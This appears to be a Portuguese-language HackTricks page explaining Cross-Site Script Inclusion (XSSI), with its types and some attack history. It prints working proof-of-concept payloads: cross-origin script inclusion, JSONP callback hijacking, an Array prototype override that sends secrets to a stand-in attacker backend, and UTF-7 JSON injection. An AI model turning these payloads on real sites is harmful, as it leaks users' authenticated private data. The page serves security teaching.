XSSI (Cross-Site Script Inclusion)

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
Adquira o material oficial PEASS & HackTricks
Descubra A Família PEASS, nossa coleção de NFTs exclusivos
Participe do grupo 💬 Discord ou do grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
Compartilhe suas técnicas de hacking enviando PRs para os repositórios github HackTricks e HackTricks Cloud.

As informações foram retiradas de https://www.scip.ch/en/?labs.20160414

Informações Básicas

XSSI designa um tipo de vulnerabilidade que explora o fato de que, quando um recurso é incluído usando a tag script, o SOP não se aplica, pois os scripts precisam poder ser incluídos entre domínios. Assim, um atacante pode ler tudo que foi incluído usando a tag script.

Isso é especialmente interessante quando se trata de JavaScript dinâmico ou JSONP, quando informações de autoridade ambiente como cookies são usadas para autenticação. Os cookies são incluídos ao solicitar um recurso de um host diferente.

Tipos

JavaScript estático (XSSI regular)
JavaScript estático, que só é acessível quando autenticado
JavaScript dinâmico
Não-JavaScript

XSSI Regular

As informações privadas estão localizadas dentro de um arquivo JS globalmente acessível, você pode detectar isso lendo arquivos, procurando palavras-chave ou usando regexps.
Para explorar isso, basta incluir o script com informações privadas dentro do conteúdo malicioso:

<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>

Dynamic-JavaScript-based-XSSI e Authenticated-JavaScript-XSSI

Informações confidenciais são adicionadas ao script quando um usuário o solicita. Isso pode ser facilmente descoberto enviando a solicitação com e sem os cookies, se informações diferentes forem recuperadas, então informações confidenciais podem estar contidas. Para fazer isso automaticamente, você pode usar a extensão do burp: https://github.com/luh2/DetectDynamicJS.

Se a informação residir dentro de uma variável global, você pode explorá-la usando o mesmo código que para o caso anterior.
Se os dados confidenciais forem enviados dentro de uma resposta JSONP, você pode substituir a função executada para recuperar a informação:

<script>
//The confidential info will be inside the callback to angular.callbacks._7: angular.callbacks._7({"status":STATUS,"body":{"demographics":{"email":......}}})
var angular = function () { return 1; };
angular.callbacks = function () { return 1; };
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>

Ou você também pode configurar uma função preparada para ser executada pela resposta JSONP:

<script>
leak = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>

Se uma variável não reside no namespace global, às vezes isso pode ser explorado de qualquer forma usando prototype tampering. Prototype tampering abusa do design do JavaScript, ou seja, quando interpreta código, o JavaScript percorre a cadeia de protótipos para encontrar a propriedade chamada. O exemplo a seguir é extraído do artigo The Unexpected Dangers of Dynamic JavaScript e demonstra como, ao sobrescrever uma função relevante do tipo Array e acessar this, uma variável não-global também pode ser vazada.

(function(){
var arr = ["secret1", "secret2", "secret3"];
// intents to slice out first entry
var x = arr.slice(1);
...
})();

No código original, slice do tipo Array acessa os dados de nosso interesse. Um atacante pode, conforme descrito na cláusula anterior, substituir slice e roubar os segredos.

Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};

Non-Script-XSSI

Takeshi Terada descreve outro tipo de XSSI em seu artigo Ataques XSSI baseados em identificador. Ele conseguiu vazar arquivos Non-Script cross-origin incluindo, entre outros, arquivos CSV como fonte na tag script, usando os dados como nomes de variáveis e funções.

O primeiro ataque XSSI documentado publicamente foi em 2006. A entrada no blog de Jeremiah Grossman Técnicas de Ataque Web Avançadas usando o GMail retrata um XSSI, que ao sobrescrever o construtor Array foi capaz de ler a agenda de endereços completa de uma conta do google.

Em 2007 Joe Walker publicou JSON não é tão seguro quanto as pessoas pensam. Ele usa a mesma ideia para roubar JSON que está dentro de um Array.

Outros ataques relacionados foram conduzidos injetando conteúdo codificado em UTF-7 no JSON para escapar do formato JSON. Isso é descrito por Gareth Heyes, autor do Hackvertor, na entrada de blog Sequestro de JSON lançada em 2011. Em um teste rápido, isso ainda era possível no Microsoft Internet Explorer e Edge, mas não no Mozilla Firefox ou Google Chrome.

JSON com UTF-7:

[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]

Incluindo o JSON na página do atacante

<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>